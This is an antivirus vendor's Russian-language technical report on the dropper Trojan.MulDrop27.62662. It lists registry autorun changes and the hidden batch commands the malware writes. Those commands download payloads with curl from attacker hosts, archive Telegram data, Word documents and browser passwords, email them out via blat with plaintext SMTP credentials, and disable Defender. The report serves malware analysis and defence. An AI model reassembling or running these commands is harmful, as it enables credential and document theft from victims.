Trojan.MulDrop27.62662

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Video Configurations' = 'C:\Intel\go.exe'

Изменения в файловой системе

Создает следующие файлы

%TEMP%\$inst\2.tmp
%TEMP%\$inst\temp_0.tmp
C:\intel\ГЄГўГЁГІГ ГГ¶ГЁГї Г®ГЎ Г®ГЇГ«Г ГІГҐ.doc
C:\intel\curl.exe
C:\intel\rezet.cmd

Удаляет следующие файлы

%TEMP%\$inst\temp_0.tmp
%TEMP%\$inst\2.tmp
C:\intel\curl.exe

Другое

Создает и запускает на исполнение

'C:\intel\curl.exe' -o C:\Intel\driver.exe http://detectis.ru/down/driver.exe
'C:\intel\curl.exe' -o C:\Intel\keys.rar http://hostingforme.nl//down/keys.rar
'C:\intel\curl.exe' -o C:\Intel\MPK.rar http://hostingforme.nl/down/MPK.rar
'C:\intel\curl.exe' -o C:\Intel\pas.rar http://hostingforme.nl/down/pas.rar

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c echo>C:\Intel\rezet.cmd cd C:\Intel\ (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\tdata.rar "%APPDATA%\Telegram Desktop\tdata" /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "TELEGRAM<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Telegram nyekcc/user" -body "Telegram nye... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\curl.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\tdata.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\pas.rar DefenderControl.exe C:\Intel\ /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\DefenderControl.exe /D (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\pas.rar wbpv.exe C:\Intel\ /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\wbpv.exe /stext "C:\Intel\password.txt" (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\wbpv.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOCX-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyekc... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\docx-e.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\pas.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\blat.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar go.exe C:\Intel\ /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\DefenderControl.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd ping -n 3600 127.0.0.1 (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe e -hplimpid2903392 C:\Intel\keys.rar userprofile.exe C:\Intel\ /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\userprofile.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd wmic OS WHERE Primary="TRUE" CALL Win32Shutdown 6 (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\Images.jpg (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\rezet.cmd (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "PASSWORD<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Password nyekcc/user" -body "Password nye... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\password.txt (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-e.rar E:\*.docx /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\doc-e.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOC-E<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyekcc... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd set mail-out=out@hostingforme.nl (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd set pass-out=Outghj5698 (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd set smtp=mail.hostingforme.nl (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd set mail-in=pass@hostingforme.nl (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\keys.rar http://hostingforme.nl//down/keys.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\MPK.rar http://hostingforme.nl/down/MPK.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\pas.rar http://hostingforme.nl/down/pas.rar (со скрытым окном)
'%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\pas.rar blat.exe C:\Intel\ /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\doc-c.rar C:\*.doc /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://detectis.ru/down/driver.exe (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOC-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyekcc... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-c.rar C:\*.docx /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOCX-C<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyek... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\docx-c.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\doc-d.rar D:\*.doc /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOC-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyekcc... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\doc-d.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\docx-d.rar D:\*.docx /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\blat.exe -to %mail-in% -f "DOCX-D<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Document nyekcc/user" -body "Document nyekc... (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\docx-d.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe a -r -ep -hplimpid2903392 C:\Intel\doc-e.rar E:\*.doc /y (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q /f C:\Intel\doc-c.rar (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\rezet.cmd" " (со скрытым окном)
'%WINDIR%\syswow64\ping.exe' -n 3600 127.0.0.1

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней